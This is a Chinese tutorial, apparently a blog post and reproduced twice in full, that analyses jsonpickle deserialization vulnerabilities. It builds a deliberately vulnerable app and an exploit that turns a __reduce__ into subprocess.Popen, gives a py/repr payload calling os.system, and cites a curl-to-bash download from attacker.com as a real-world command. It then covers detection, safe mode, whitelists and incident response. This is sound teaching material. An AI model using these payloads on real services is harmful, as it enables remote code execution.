在实际 Python Web 开发和安全测试中数据序列化与反序列化是极其常见的操作。Python 内置的pickle模块因其强大的功能而广为人知但其安全风险也常被提及。相比之下jsonpickle库因其能将 Python 对象序列化为 JSON 格式便于跨语言传输和存储常被视为一种更“安全”或更“现代”的替代方案。然而这种认知存在一个危险的误区jsonpickle在默认配置下同样存在严重的反序列化漏洞攻击者可以利用它执行任意代码其危害性与pickle不相上下。许多开发者因为不了解其工作机制在接收和处理外部不可信的 JSON 数据时直接使用jsonpickle.decode无意中为系统打开了远程命令执行的大门。本文旨在为 Python 开发者、安全工程师以及对应用安全感兴趣的学习者深入剖析jsonpickle反序列化漏洞的原理。我们将从jsonpickle的基本用法讲起通过一个可复现的漏洞案例展示攻击者如何构造恶意载荷。更重要的是我们会详细拆解其内部机制解释为什么看似普通的 JSON 数据能变成代码执行的载体。最后文章将提供一套完整的漏洞检测、修复和防御方案包括安全配置、输入验证、替代方案以及如何在代码审计中识别此类风险。理解这个漏洞不仅能帮助你在开发中避免踩坑也能提升你在安全评估中对 Python 应用风险的洞察力。1. 理解序列化、反序列化与 jsonpickle 的角色在深入漏洞之前必须厘清几个核心概念以及jsonpickle在这个生态中的定位。1.1 序列化与反序列化的本质序列化Serialization是将内存中的对象状态转换为可以存储或传输的格式如字节流、JSON、XML的过程。反序列化Deserialization则是其逆过程将存储或传输的格式还原为内存中的对象。在 Python 中这个过程的核心目的是持久化和通信。例如将用户会话对象保存到 Redis或者将复杂的业务对象通过 API 发送给前端。理想的序列化格式应该是平台无关、语言无关且安全的。JSON 因其文本格式、易读和广泛支持成为了网络通信的事实标准。1.2 为什么需要 jsonpicklePython 内置的json模块只能处理基本的数据类型如字典、列表、字符串、数字、布尔值和None。当你尝试序列化一个自定义类的实例时json.dumps()会抛出TypeError。import json class User: def __init__(self, name, age): self.name name self.age age user User(Alice, 30) # 以下代码会报错TypeError: Object of type User is not JSON serializable # json_str json.dumps(user)jsonpickle就是为了解决这个问题而生的。它通过在 JSON 结构中嵌入额外的元数据metadata来描述对象的类型和状态从而能够“记住”并还原一个完整的 Python 对象。import jsonpickle user User(Alice, 30) # 序列化 json_str jsonpickle.encode(user) print(json_str) # 输出可能类似于{py/object: __main__.User, name: Alice, age: 30} # 反序列化 decoded_user jsonpickle.decode(json_str) print(decoded_user.name) # 输出Alice print(type(decoded_user)) # 输出class __main__.User从输出可以看到jsonpickle在生成的 JSON 中添加了一个py/object键其值__main__.User指明了对象的类路径。这就是它能“魔法般”还原对象的关键。1.3 安全假设的崩塌便利性与危险性的权衡jsonpickle的设计哲学是“尽可能透明地序列化任何对象”。为了实现这一点它在反序列化时需要根据py/object等信息找到对应的类并实例化它。这个过程可能涉及根据字符串形式的类名如__main__.User导入模块并找到类定义。调用类的__setstate__或__dict__等方法还原对象状态。如果对象包含__reduce__、__reduce_ex__或__getstate__等特殊方法则可能调用它们。这里就埋下了安全隐患如果反序列化的数据来源不可信如用户输入、外部 API 响应、未经验证的 Cookie攻击者就可以精心构造一个 JSON其中的py/object指向一个危险的类如os.system或subprocess.Popen并在对象状态中嵌入要执行的命令。当jsonpickle.decode()处理这个 JSON 时就会触发恶意代码的执行。许多开发者误以为“JSON 是安全的”从而对jsonpickle放松了警惕这正是漏洞滋生的土壤。2. 环境准备与漏洞复现在分析原理之前我们先搭建一个最简单的环境亲眼见证漏洞是如何被触发的。这将帮助我们建立最直观的认识。2.1 基础环境配置你需要一个 Python 环境建议 3.6 以上和jsonpickle库。# 1. 创建并进入一个干净的目录 mkdir jsonpickle_demo cd jsonpickle_demo # 2. 创建虚拟环境可选但推荐 python -m venv venv # 激活虚拟环境 # Windows: venv\Scripts\activate # Linux/Mac: source venv/bin/activate # 3. 安装 jsonpickle pip install jsonpickle2.2 构造一个存在漏洞的示例程序创建一个名为vulnerable_app.py的文件模拟一个接收 JSON 数据并反序列化的 Web 应用端点。# vulnerable_app.py import jsonpickle import sys def process_user_data(json_data): 一个存在漏洞的函数它反序列化来自外部的 JSON 数据。 在实际应用中json_data 可能来自 HTTP 请求体、Cookie 或数据库。 try: # 危险操作直接反序列化不可信数据 obj jsonpickle.decode(json_data) print(f[INFO] 反序列化成功对象类型{type(obj)}) # 假设这里有一些后续处理逻辑... return obj except Exception as e: print(f[ERROR] 反序列化失败{e}) return None if __name__ __main__: # 模拟从网络接收数据 if len(sys.argv) 1: user_input sys.argv[1] else: # 这是一个正常的、无害的 JSON 数据 user_input {py/object: __main__.User, name: Bob, age: 25} result process_user_data(user_input) if result: print(f处理结果{result})同时在同目录下创建一个User类定义文件或直接在同一个文件中定义如上例中隐含的__main__.User。为了演示我们明确一下# 可以添加到 vulnerable_app.py 文件开头 class User: def __init__(self, name, age): self.name name self.age age def __repr__(self): return fUser(name{self.name}, age{self.age})运行这个程序传入正常的 JSONpython vulnerable_app.py输出会显示反序列化出了一个User对象。这看起来一切正常。2.3 发起攻击构造恶意载荷现在攻击者来了。他构造了一段特殊的 JSON 数据。创建一个exploit.py文件来生成这个载荷# exploit.py import jsonpickle import os # 定义一个恶意的类其 __reduce__ 方法会在反序列化时被调用 class EvilClass: def __reduce__(self): # 返回一个可调用对象os.system和它的参数元组 # 这里执行一个计算器命令calc.exe 或 /usr/bin/gnome-calculator作为演示 # 实际攻击中可能是 rm -rf /、下载木马、反弹Shell等命令 import subprocess # 跨平台兼容的弹计算器命令仅用于演示无害 cmd calc.exe if os.name nt else /usr/bin/gnome-calculator return (subprocess.Popen, (cmd, shellTrue)) # 使用 jsonpickle 序列化这个恶意对象 malicious_json jsonpickle.encode(EvilClass()) print(生成的恶意 JSON 载荷) print(malicious_json) print(\n *50 \n) print(请将上面的 JSON 字符串作为参数传递给 vulnerable_app.py) print(例如python vulnerable_app.py {}.format(malicious_json.replace(, \\)))运行exploit.pypython exploit.py你会得到一串复杂的 JSON 输出。它包含了py/object、py/reduce、py/tuple等jsonpickle特有的标签描述了如何重建EvilClass实例并最终指向subprocess.Popen和命令参数。关键步骤复制输出的 JSON 字符串通常很长是一行然后运行python vulnerable_app.py 粘贴过来的恶意JSON字符串结果如果你的系统有图形界面将会弹出一个计算器程序。这意味着通过jsonpickle.decode我们成功地从一段 JSON 数据中执行了系统命令。注意这是一个高度简化的演示。在实际攻击中命令可能是curl http://attacker.com/shell.sh | bash或写入 WebShell。请仅在你自己控制的隔离环境中进行此类测试。2.4 漏洞触发的必要条件通过这个案例我们可以总结出jsonpickle反序列化漏洞触发的几个必要条件应用使用jsonpickle.decode()处理数据。输入数据来源不可信且能被攻击者控制。jsonpickle未启用安全模式默认是不启用的。Python 环境中存在可利用的类如os.system,subprocess.Popen,eval,exec或任何定义了__reduce__、__setstate__等方法的类。许多 Flask、Django 应用在存储 session 或缓存复杂对象时会不经意间满足这些条件。3. 深入漏洞原理jsonpickle 如何执行代码仅仅看到现象还不够我们需要深入jsonpickle的内部机制理解为什么一段 JSON 能变成代码执行。这有助于我们在代码审计中准确定位风险点。3.1 jsonpickle 的反序列化过程jsonpickle的反序列化核心在jsonpickle.unpickler.Unpickler类中。它会递归地处理 JSON 字典寻找特定的键如py/object,py/reduce,py/newargs等来重建对象。当遇到py/reduce标签时流程如下_restore_reduce方法被调用。它从载荷中读取callable和args信息。callable通常是一个类或函数的引用如subprocess.Popen。它使用_getclass或类似机制通过字符串导入模块并获取可调用对象。最后它执行callable(*args)。我们恶意载荷的核心就是构造了一个__reduce__方法返回(subprocess.Popen, (恶意命令, shellTrue))的对象。jsonpickle在序列化这个对象时会忠实记录这个reduce信息。反序列化时就会重新执行subprocess.Popen(恶意命令, shellTrue)。3.2 关键的危险标签了解jsonpickle使用的内部标签是识别恶意载荷的关键标签含义危险程度py/object指定对象的类。如__main__.EvilClass。高。如果类名指向危险模块可能直接实例化恶意类。py/reduce指示使用__reduce__或__reduce_ex__方法来重建对象。这是执行任意代码的最常见入口。极高。几乎等同于直接调用eval。py/newargs用于指定创建对象时__new__方法的参数。中。结合特定类可能造成危害。py/state用于指定对象的__setstate__方法的状态。高。如果__setstate__方法被重写为恶意代码。py/type指定类型对象。中低。通常用于类本身而非实例。py/function序列化一个函数。高。如果函数是os.system或eval。py/repr使用repr()和eval()来重建对象。这是另一个极其危险的路径。极高。直接调用eval。一个利用了py/repr的极简恶意载荷示例如下{py/repr: __import__(os).system(calc.exe)}当jsonpickle遇到py/repr它会直接对字符串值调用eval()。3.3 与 pickle 漏洞的对比很多人熟悉pickle的反序列化漏洞。jsonpickle的漏洞本质与其同源都是因为序列化格式包含了“如何重建对象”的指令而反序列化器忠实地执行了这些指令。特性picklejsonpickle(默认)格式二进制协议JSON (文本)可读性差较好可看到py/object等标签漏洞原理序列化字节码指令opcode序列化重建指令reduce, repr等利用难度较低工具体系成熟中等需要理解其标签体系默认安全性不安全同样不安全常见误判公认危险常被误认为“JSON 所以安全”核心结论jsonpickle在默认情况下并不比pickle更安全。它只是把危险从二进制领域转移到了文本JSON领域。4. 漏洞检测、修复与安全实践知道漏洞原理后我们的目标是在自己的项目中检测并修复它并建立安全开发习惯。4.1 如何检测项目中的风险你可以通过以下步骤进行自查全局代码搜索在项目代码库中搜索jsonpickle.decode、jsonpickle.loadsloads是decode的别名的调用。# 使用 grep 命令示例 grep -r jsonpickle\.decode\|jsonpickle\.loads --include*.py your_project_dir/分析调用上下文对于找到的每一处调用检查其输入数据来源是否来自 HTTP 请求参数request.args,request.form,request.json是否来自 Cookie、Session是否来自不受控的数据库字段或第三方 API 响应是否在反序列化前进行了有效的验证或过滤检查配置查看是否设置了jsonpickle的安全选项。安全的调用应该类似import jsonpickle jsonpickle.set_decoder_options(json, strictTrue) # 严格模式但非万能 # 或者更佳使用自定义的 Unpickler 并设置 safeTrue使用安全扫描工具静态应用安全测试SAST工具如Bandit、Semgrep可以识别此类漏洞模式。pip install bandit bandit -r your_project_dir/ -f json查找关于jsonpickle的告警。4.2 根本修复方案修复的核心原则是永远不要用jsonpickle.decode反序列化来自不可信来源的数据。如果业务必须使用则必须施加严格限制。方案一启用安全模式首选jsonpickle提供了safeTrue参数这是最直接的修复方式。在该模式下jsonpickle将禁止反序列化任何非内置类型和未明确允许的自定义类型。import jsonpickle # 危险可能执行代码 # data jsonpickle.decode(malicious_json) # 安全启用安全模式 safe_data jsonpickle.decode(malicious_json, safeTrue) # 如果载荷包含非安全类将抛出 jsonpickle.UnpicklingError 异常关键点安全模式只允许反序列化 Python 内置的基本类型如dict,list,str,int,float,bool,None以及tuple,set等。所有自定义类都会被拒绝。方案二使用自定义的 Unpickler 并设置白名单如果业务确实需要反序列化某些特定的自定义类可以创建一个自定义的Unpickler并为其指定允许的类白名单。import jsonpickle class SafeUnpickler(jsonpickle.unpickler.Unpickler): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # 设置安全模式为 True 是基础 self.safe True # 定义允许反序列化的类白名单 self._allowed_classes { __main__.User, models.Product, utils.SafeConfig, # ... 明确列出所有需要的类 } def _class_finder(self, class_name): 重写类查找器只允许白名单中的类 if class_name in self._allowed_classes: return super()._class_finder(class_name) else: raise jsonpickle.UnpicklingError( fAttempted to deserialize unauthorized class: {class_name} ) # 使用自定义的 Unpickler def safe_decode(json_str): unpickler SafeUnpickler() return unpickler.restore(jsonpickle.loads(json_str)) # 测试 safe_json jsonpickle.encode(User(Alice, 30)) try: obj safe_decode(safe_json) # 应该成功 print(fSuccess: {obj}) except jsonpickle.UnpicklingError as e: print(fBlocked: {e}) try: obj2 safe_decode(malicious_json) # 应该失败 except jsonpickle.UnpicklingError as e: print(fBlocked malicious payload: {e}) # 预期输出方案三避免使用 jsonpickle改用其他序列化方案评估你的业务是否真的需要完整的对象序列化。很多时候我们只需要传输数据。纯数据传输使用标准的json模块只序列化dict或list。在接收端手动从字典中提取数据来构造对象。# 发送方 import json data {name: user.name, age: user.age} json_str json.dumps(data) # 接收方 data_dict json.loads(json_str) user User(namedata_dict[name], agedata_dict[age])需要 schema 验证使用Marshmallow、Pydantic或attrs等库。它们提供了强大的数据验证和序列化/反序列化功能且默认安全。# 使用 Pydantic 示例 from pydantic import BaseModel class UserSchema(BaseModel): name: str age: int # 序列化 user_schema UserSchema(nameAlice, age30) json_str user_schema.json() # 反序列化安全只会解析声明的字段 loaded_schema UserSchema.parse_raw(json_str) user User(nameloaded_schema.name, ageloaded_schema.age)4.3 安全开发最佳实践清单将以下实践融入你的开发流程可以有效预防此类漏洞输入验证与净化对所有外部输入进行严格的类型、长度、格式检查。使用正则表达式或专门的库验证 JSON 结构是否符合预期。原则假定所有输入都是恶意的。最小化反序列化接口避免在公开的 API 接口中直接暴露jsonpickle.decode。如果必须提供此类接口应进行严格的权限认证和速率限制。依赖库安全定期更新jsonpickle到最新版本关注其安全公告。使用pip-audit或safety检查项目依赖的已知漏洞。安全配置在项目初始化或配置文件中全局设置jsonpickle为安全模式。# config.py 或 __init__.py import jsonpickle jsonpickle.set_decoder_options(json, strictTrue) # 或者更激进地在所有 decode 处强制 safeTrue代码审查在代码审查中将jsonpickle.decode的调用列为高风险点进行重点检查。审查其数据来源和上下文。安全测试在单元测试和集成测试中加入针对反序列化漏洞的测试用例尝试注入恶意载荷。使用 DAST动态应用安全测试工具对应用进行黑盒扫描。4.4 应急响应与排查如果怀疑系统已被利用请立即按以下步骤排查隔离立即下线受影响的服务或接口防止进一步攻击。日志分析检查应用日志、Web 服务器日志Nginx/Apache、数据库日志寻找异常的、包含py/object、py/reduce、py/repr等关键词的请求。攻击载荷通常很长且结构特殊。进程与网络检查服务器上是否有未知进程、异常网络连接如连接到可疑 IP。文件系统检查 Web 目录下是否有新增的、可疑的文件如.php,.jsp,.py的 WebShell。修复根据前述方案启用安全模式、使用白名单、更换方案立即修复漏洞。复盘分析漏洞引入的原因是代码缺陷、依赖问题还是配置错误并更新开发规范。5. 总结与扩展思考jsonpickle反序列化漏洞是一个典型的“功能强大但危险”的案例。它提醒我们在追求开发便利性的同时必须对安全保持敬畏。JSON 格式本身并不提供安全保证承载了对象重建语义的 JSON 同样可以成为攻击载体。对于开发者而言最关键的认知转变是不要因为数据格式是 JSON 或文本就认为它是安全的。安全取决于反序列化器的行为。在更广泛的软件安全领域反序列化漏洞是一个持久且高风险的威胁面不仅存在于 Python 的pickle/jsonpickle也存在于 Java 的ObjectInputStream以及 FastJSON、XStream 等、PHP 的unserialize()、.NET 的BinaryFormatter等。防御思路是相通的不信任反序列化、使用安全模式、实施严格的白名单控制。在架构设计上考虑采用更安全的替代方案如 Protobuf、Thrift、Avro 等具有严格 Schema 的序列化协议或者始终使用纯数据对象DTO进行传输在服务边界完成数据的验证和转换。将安全设计内置于系统开发的早期阶段远比事后补救更为有效。 Python jsonpickle反序列化漏洞剖析：从原理到防御实践
在实际 Python Web 开发和安全测试中数据序列化与反序列化是极其常见的操作。Python 内置的pickle模块因其强大的功能而广为人知但其安全风险也常被提及。相比之下jsonpickle库因其能将 Python 对象序列化为 JSON 格式便于跨语言传输和存储常被视为一种更“安全”或更“现代”的替代方案。然而这种认知存在一个危险的误区jsonpickle在默认配置下同样存在严重的反序列化漏洞攻击者可以利用它执行任意代码其危害性与pickle不相上下。许多开发者因为不了解其工作机制在接收和处理外部不可信的 JSON 数据时直接使用jsonpickle.decode无意中为系统打开了远程命令执行的大门。本文旨在为 Python 开发者、安全工程师以及对应用安全感兴趣的学习者深入剖析jsonpickle反序列化漏洞的原理。我们将从jsonpickle的基本用法讲起通过一个可复现的漏洞案例展示攻击者如何构造恶意载荷。更重要的是我们会详细拆解其内部机制解释为什么看似普通的 JSON 数据能变成代码执行的载体。最后文章将提供一套完整的漏洞检测、修复和防御方案包括安全配置、输入验证、替代方案以及如何在代码审计中识别此类风险。理解这个漏洞不仅能帮助你在开发中避免踩坑也能提升你在安全评估中对 Python 应用风险的洞察力。1. 理解序列化、反序列化与 jsonpickle 的角色在深入漏洞之前必须厘清几个核心概念以及jsonpickle在这个生态中的定位。1.1 序列化与反序列化的本质序列化Serialization是将内存中的对象状态转换为可以存储或传输的格式如字节流、JSON、XML的过程。反序列化Deserialization则是其逆过程将存储或传输的格式还原为内存中的对象。在 Python 中这个过程的核心目的是持久化和通信。例如将用户会话对象保存到 Redis或者将复杂的业务对象通过 API 发送给前端。理想的序列化格式应该是平台无关、语言无关且安全的。JSON 因其文本格式、易读和广泛支持成为了网络通信的事实标准。1.2 为什么需要 jsonpicklePython 内置的json模块只能处理基本的数据类型如字典、列表、字符串、数字、布尔值和None。当你尝试序列化一个自定义类的实例时json.dumps()会抛出TypeError。import json class User: def __init__(self, name, age): self.name name self.age age user User(Alice, 30) # 以下代码会报错TypeError: Object of type User is not JSON serializable # json_str json.dumps(user)jsonpickle就是为了解决这个问题而生的。它通过在 JSON 结构中嵌入额外的元数据metadata来描述对象的类型和状态从而能够“记住”并还原一个完整的 Python 对象。import jsonpickle user User(Alice, 30) # 序列化 json_str jsonpickle.encode(user) print(json_str) # 输出可能类似于{py/object: __main__.User, name: Alice, age: 30} # 反序列化 decoded_user jsonpickle.decode(json_str) print(decoded_user.name) # 输出Alice print(type(decoded_user)) # 输出class __main__.User从输出可以看到jsonpickle在生成的 JSON 中添加了一个py/object键其值__main__.User指明了对象的类路径。这就是它能“魔法般”还原对象的关键。1.3 安全假设的崩塌便利性与危险性的权衡jsonpickle的设计哲学是“尽可能透明地序列化任何对象”。为了实现这一点它在反序列化时需要根据py/object等信息找到对应的类并实例化它。这个过程可能涉及根据字符串形式的类名如__main__.User导入模块并找到类定义。调用类的__setstate__或__dict__等方法还原对象状态。如果对象包含__reduce__、__reduce_ex__或__getstate__等特殊方法则可能调用它们。这里就埋下了安全隐患如果反序列化的数据来源不可信如用户输入、外部 API 响应、未经验证的 Cookie攻击者就可以精心构造一个 JSON其中的py/object指向一个危险的类如os.system或subprocess.Popen并在对象状态中嵌入要执行的命令。当jsonpickle.decode()处理这个 JSON 时就会触发恶意代码的执行。许多开发者误以为“JSON 是安全的”从而对jsonpickle放松了警惕这正是漏洞滋生的土壤。2. 环境准备与漏洞复现在分析原理之前我们先搭建一个最简单的环境亲眼见证漏洞是如何被触发的。这将帮助我们建立最直观的认识。2.1 基础环境配置你需要一个 Python 环境建议 3.6 以上和jsonpickle库。# 1. 创建并进入一个干净的目录 mkdir jsonpickle_demo cd jsonpickle_demo # 2. 创建虚拟环境可选但推荐 python -m venv venv # 激活虚拟环境 # Windows: venv\Scripts\activate # Linux/Mac: source venv/bin/activate # 3. 安装 jsonpickle pip install jsonpickle2.2 构造一个存在漏洞的示例程序创建一个名为vulnerable_app.py的文件模拟一个接收 JSON 数据并反序列化的 Web 应用端点。# vulnerable_app.py import jsonpickle import sys def process_user_data(json_data): 一个存在漏洞的函数它反序列化来自外部的 JSON 数据。 在实际应用中json_data 可能来自 HTTP 请求体、Cookie 或数据库。 try: # 危险操作直接反序列化不可信数据 obj jsonpickle.decode(json_data) print(f[INFO] 反序列化成功对象类型{type(obj)}) # 假设这里有一些后续处理逻辑... return obj except Exception as e: print(f[ERROR] 反序列化失败{e}) return None if __name__ __main__: # 模拟从网络接收数据 if len(sys.argv) 1: user_input sys.argv[1] else: # 这是一个正常的、无害的 JSON 数据 user_input {py/object: __main__.User, name: Bob, age: 25} result process_user_data(user_input) if result: print(f处理结果{result})同时在同目录下创建一个User类定义文件或直接在同一个文件中定义如上例中隐含的__main__.User。为了演示我们明确一下# 可以添加到 vulnerable_app.py 文件开头 class User: def __init__(self, name, age): self.name name self.age age def __repr__(self): return fUser(name{self.name}, age{self.age})运行这个程序传入正常的 JSONpython vulnerable_app.py输出会显示反序列化出了一个User对象。这看起来一切正常。2.3 发起攻击构造恶意载荷现在攻击者来了。他构造了一段特殊的 JSON 数据。创建一个exploit.py文件来生成这个载荷# exploit.py import jsonpickle import os # 定义一个恶意的类其 __reduce__ 方法会在反序列化时被调用 class EvilClass: def __reduce__(self): # 返回一个可调用对象os.system和它的参数元组 # 这里执行一个计算器命令calc.exe 或 /usr/bin/gnome-calculator作为演示 # 实际攻击中可能是 rm -rf /、下载木马、反弹Shell等命令 import subprocess # 跨平台兼容的弹计算器命令仅用于演示无害 cmd calc.exe if os.name nt else /usr/bin/gnome-calculator return (subprocess.Popen, (cmd, shellTrue)) # 使用 jsonpickle 序列化这个恶意对象 malicious_json jsonpickle.encode(EvilClass()) print(生成的恶意 JSON 载荷) print(malicious_json) print(\n *50 \n) print(请将上面的 JSON 字符串作为参数传递给 vulnerable_app.py) print(例如python vulnerable_app.py {}.format(malicious_json.replace(, \\)))运行exploit.pypython exploit.py你会得到一串复杂的 JSON 输出。它包含了py/object、py/reduce、py/tuple等jsonpickle特有的标签描述了如何重建EvilClass实例并最终指向subprocess.Popen和命令参数。关键步骤复制输出的 JSON 字符串通常很长是一行然后运行python vulnerable_app.py 粘贴过来的恶意JSON字符串结果如果你的系统有图形界面将会弹出一个计算器程序。这意味着通过jsonpickle.decode我们成功地从一段 JSON 数据中执行了系统命令。注意这是一个高度简化的演示。在实际攻击中命令可能是curl http://attacker.com/shell.sh | bash或写入 WebShell。请仅在你自己控制的隔离环境中进行此类测试。2.4 漏洞触发的必要条件通过这个案例我们可以总结出jsonpickle反序列化漏洞触发的几个必要条件应用使用jsonpickle.decode()处理数据。输入数据来源不可信且能被攻击者控制。jsonpickle未启用安全模式默认是不启用的。Python 环境中存在可利用的类如os.system,subprocess.Popen,eval,exec或任何定义了__reduce__、__setstate__等方法的类。许多 Flask、Django 应用在存储 session 或缓存复杂对象时会不经意间满足这些条件。3. 深入漏洞原理jsonpickle 如何执行代码仅仅看到现象还不够我们需要深入jsonpickle的内部机制理解为什么一段 JSON 能变成代码执行。这有助于我们在代码审计中准确定位风险点。3.1 jsonpickle 的反序列化过程jsonpickle的反序列化核心在jsonpickle.unpickler.Unpickler类中。它会递归地处理 JSON 字典寻找特定的键如py/object,py/reduce,py/newargs等来重建对象。当遇到py/reduce标签时流程如下_restore_reduce方法被调用。它从载荷中读取callable和args信息。callable通常是一个类或函数的引用如subprocess.Popen。它使用_getclass或类似机制通过字符串导入模块并获取可调用对象。最后它执行callable(*args)。我们恶意载荷的核心就是构造了一个__reduce__方法返回(subprocess.Popen, (恶意命令, shellTrue))的对象。jsonpickle在序列化这个对象时会忠实记录这个reduce信息。反序列化时就会重新执行subprocess.Popen(恶意命令, shellTrue)。3.2 关键的危险标签了解jsonpickle使用的内部标签是识别恶意载荷的关键标签含义危险程度py/object指定对象的类。如__main__.EvilClass。高。如果类名指向危险模块可能直接实例化恶意类。py/reduce指示使用__reduce__或__reduce_ex__方法来重建对象。这是执行任意代码的最常见入口。极高。几乎等同于直接调用eval。py/newargs用于指定创建对象时__new__方法的参数。中。结合特定类可能造成危害。py/state用于指定对象的__setstate__方法的状态。高。如果__setstate__方法被重写为恶意代码。py/type指定类型对象。中低。通常用于类本身而非实例。py/function序列化一个函数。高。如果函数是os.system或eval。py/repr使用repr()和eval()来重建对象。这是另一个极其危险的路径。极高。直接调用eval。一个利用了py/repr的极简恶意载荷示例如下{py/repr: __import__(os).system(calc.exe)}当jsonpickle遇到py/repr它会直接对字符串值调用eval()。3.3 与 pickle 漏洞的对比很多人熟悉pickle的反序列化漏洞。jsonpickle的漏洞本质与其同源都是因为序列化格式包含了“如何重建对象”的指令而反序列化器忠实地执行了这些指令。特性picklejsonpickle(默认)格式二进制协议JSON (文本)可读性差较好可看到py/object等标签漏洞原理序列化字节码指令opcode序列化重建指令reduce, repr等利用难度较低工具体系成熟中等需要理解其标签体系默认安全性不安全同样不安全常见误判公认危险常被误认为“JSON 所以安全”核心结论jsonpickle在默认情况下并不比pickle更安全。它只是把危险从二进制领域转移到了文本JSON领域。4. 漏洞检测、修复与安全实践知道漏洞原理后我们的目标是在自己的项目中检测并修复它并建立安全开发习惯。4.1 如何检测项目中的风险你可以通过以下步骤进行自查全局代码搜索在项目代码库中搜索jsonpickle.decode、jsonpickle.loadsloads是decode的别名的调用。# 使用 grep 命令示例 grep -r jsonpickle\.decode\|jsonpickle\.loads --include*.py your_project_dir/分析调用上下文对于找到的每一处调用检查其输入数据来源是否来自 HTTP 请求参数request.args,request.form,request.json是否来自 Cookie、Session是否来自不受控的数据库字段或第三方 API 响应是否在反序列化前进行了有效的验证或过滤检查配置查看是否设置了jsonpickle的安全选项。安全的调用应该类似import jsonpickle jsonpickle.set_decoder_options(json, strictTrue) # 严格模式但非万能 # 或者更佳使用自定义的 Unpickler 并设置 safeTrue使用安全扫描工具静态应用安全测试SAST工具如Bandit、Semgrep可以识别此类漏洞模式。pip install bandit bandit -r your_project_dir/ -f json查找关于jsonpickle的告警。4.2 根本修复方案修复的核心原则是永远不要用jsonpickle.decode反序列化来自不可信来源的数据。如果业务必须使用则必须施加严格限制。方案一启用安全模式首选jsonpickle提供了safeTrue参数这是最直接的修复方式。在该模式下jsonpickle将禁止反序列化任何非内置类型和未明确允许的自定义类型。import jsonpickle # 危险可能执行代码 # data jsonpickle.decode(malicious_json) # 安全启用安全模式 safe_data jsonpickle.decode(malicious_json, safeTrue) # 如果载荷包含非安全类将抛出 jsonpickle.UnpicklingError 异常关键点安全模式只允许反序列化 Python 内置的基本类型如dict,list,str,int,float,bool,None以及tuple,set等。所有自定义类都会被拒绝。方案二使用自定义的 Unpickler 并设置白名单如果业务确实需要反序列化某些特定的自定义类可以创建一个自定义的Unpickler并为其指定允许的类白名单。import jsonpickle class SafeUnpickler(jsonpickle.unpickler.Unpickler): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # 设置安全模式为 True 是基础 self.safe True # 定义允许反序列化的类白名单 self._allowed_classes { __main__.User, models.Product, utils.SafeConfig, # ... 明确列出所有需要的类 } def _class_finder(self, class_name): 重写类查找器只允许白名单中的类 if class_name in self._allowed_classes: return super()._class_finder(class_name) else: raise jsonpickle.UnpicklingError( fAttempted to deserialize unauthorized class: {class_name} ) # 使用自定义的 Unpickler def safe_decode(json_str): unpickler SafeUnpickler() return unpickler.restore(jsonpickle.loads(json_str)) # 测试 safe_json jsonpickle.encode(User(Alice, 30)) try: obj safe_decode(safe_json) # 应该成功 print(fSuccess: {obj}) except jsonpickle.UnpicklingError as e: print(fBlocked: {e}) try: obj2 safe_decode(malicious_json) # 应该失败 except jsonpickle.UnpicklingError as e: print(fBlocked malicious payload: {e}) # 预期输出方案三避免使用 jsonpickle改用其他序列化方案评估你的业务是否真的需要完整的对象序列化。很多时候我们只需要传输数据。纯数据传输使用标准的json模块只序列化dict或list。在接收端手动从字典中提取数据来构造对象。# 发送方 import json data {name: user.name, age: user.age} json_str json.dumps(data) # 接收方 data_dict json.loads(json_str) user User(namedata_dict[name], agedata_dict[age])需要 schema 验证使用Marshmallow、Pydantic或attrs等库。它们提供了强大的数据验证和序列化/反序列化功能且默认安全。# 使用 Pydantic 示例 from pydantic import BaseModel class UserSchema(BaseModel): name: str age: int # 序列化 user_schema UserSchema(nameAlice, age30) json_str user_schema.json() # 反序列化安全只会解析声明的字段 loaded_schema UserSchema.parse_raw(json_str) user User(nameloaded_schema.name, ageloaded_schema.age)4.3 安全开发最佳实践清单将以下实践融入你的开发流程可以有效预防此类漏洞输入验证与净化对所有外部输入进行严格的类型、长度、格式检查。使用正则表达式或专门的库验证 JSON 结构是否符合预期。原则假定所有输入都是恶意的。最小化反序列化接口避免在公开的 API 接口中直接暴露jsonpickle.decode。如果必须提供此类接口应进行严格的权限认证和速率限制。依赖库安全定期更新jsonpickle到最新版本关注其安全公告。使用pip-audit或safety检查项目依赖的已知漏洞。安全配置在项目初始化或配置文件中全局设置jsonpickle为安全模式。# config.py 或 __init__.py import jsonpickle jsonpickle.set_decoder_options(json, strictTrue) # 或者更激进地在所有 decode 处强制 safeTrue代码审查在代码审查中将jsonpickle.decode的调用列为高风险点进行重点检查。审查其数据来源和上下文。安全测试在单元测试和集成测试中加入针对反序列化漏洞的测试用例尝试注入恶意载荷。使用 DAST动态应用安全测试工具对应用进行黑盒扫描。4.4 应急响应与排查如果怀疑系统已被利用请立即按以下步骤排查隔离立即下线受影响的服务或接口防止进一步攻击。日志分析检查应用日志、Web 服务器日志Nginx/Apache、数据库日志寻找异常的、包含py/object、py/reduce、py/repr等关键词的请求。攻击载荷通常很长且结构特殊。进程与网络检查服务器上是否有未知进程、异常网络连接如连接到可疑 IP。文件系统检查 Web 目录下是否有新增的、可疑的文件如.php,.jsp,.py的 WebShell。修复根据前述方案启用安全模式、使用白名单、更换方案立即修复漏洞。复盘分析漏洞引入的原因是代码缺陷、依赖问题还是配置错误并更新开发规范。5. 总结与扩展思考jsonpickle反序列化漏洞是一个典型的“功能强大但危险”的案例。它提醒我们在追求开发便利性的同时必须对安全保持敬畏。JSON 格式本身并不提供安全保证承载了对象重建语义的 JSON 同样可以成为攻击载体。对于开发者而言最关键的认知转变是不要因为数据格式是 JSON 或文本就认为它是安全的。安全取决于反序列化器的行为。在更广泛的软件安全领域反序列化漏洞是一个持久且高风险的威胁面不仅存在于 Python 的pickle/jsonpickle也存在于 Java 的ObjectInputStream以及 FastJSON、XStream 等、PHP 的unserialize()、.NET 的BinaryFormatter等。防御思路是相通的不信任反序列化、使用安全模式、实施严格的白名单控制。在架构设计上考虑采用更安全的替代方案如 Protobuf、Thrift、Avro 等具有严格 Schema 的序列化协议或者始终使用纯数据对象DTO进行传输在服务边界完成数据的验证和转换。将安全设计内置于系统开发的早期阶段远比事后补救更为有效。